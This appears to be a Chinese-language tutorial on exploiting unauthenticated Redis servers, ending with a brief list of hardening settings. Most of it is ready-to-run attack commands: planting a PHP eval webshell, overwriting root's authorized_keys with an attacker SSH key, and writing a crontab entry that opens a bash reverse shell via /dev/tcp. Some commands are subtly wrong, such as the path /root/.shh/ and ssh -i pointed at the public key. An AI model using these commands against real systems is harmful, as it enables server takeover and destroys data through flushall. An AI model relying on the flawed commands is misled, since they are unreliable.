1.未授权访问
2.获取webshell
3.获取root
4.通过redis提权
5.其他的一些利用
6.redis安全配置
测试环境 CentOS 6.5 x64
Redis介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set - 有序集合)和hash(哈希类型).
这些数据类型都支持push/pop、add/remove及取交集并集和差集更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。
区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
未授权访问
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样会将Redis服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authoritrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
默认安装redis,其中启动权限就为root。并且是任意ip可以未授权访问。
获取webshell
条件:知道web绝对路径,redis运行的用户需要对web目录要有写的权限
然后通过客户端链接
redis-cli -h 10.211.55.10
config set dir /var/www/html/
set shell <?php eval($_REQUEST[\'syclover\'])?>
config set dbfilename syclover.php
save
exit
存在的问题,如果redis里面的数据量特别大并且前面存在<?php之类的符号
先通过randomkey来查看键值之间的规律,然后可以将数据库备份下来,找到包含<?php的键名,通过keys *str*找到真正的键名,然后去修改这个键名。因为数据量很大所以备份的shell也很大,然后在生成shell的时候,可以设置不超时,并且在生成完成之后就退出。
获取root
victim server CentOS6.6+redis2.4 192.168.192.133
attack server CentOS6.6 192.168.192.132
先在attack server生成一个公钥
ssh-keygen -t rsa -C "redis"
(echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt
然后执行
redis-cli -h 192.168.192.133 flushall
cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn
登录redis redis-cli -h 192.168.192.133
CONFIG set dir /root/.shh/
config set dbfilename "authorized_keys"
save
exit
然后就可以使用ssh的私钥登录了
ssh -i redis.pub root@192.168.192.133
缺点:flushall太暴力直接清空数据库,覆盖authorized_keys,导致原有的认证失效。
通过redis提权
获取了一个webshell,但是权限很低,发现存在redis服务但是只能本地访问,然后通过上面的方法可以成功提权。
其他玩法
redis+crontab
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8443 0>&1 \n\n"|redis-cli -x set 1
redis-cli save
nc -lvv 8443
redis安全配置
1.设置只对本机开机bind 127.0.0.1
2.设置密码requirepass tomato
3.修改默认端口12345
4.低权限启动
5.如果需要对外提供服务的话,设置iptables规则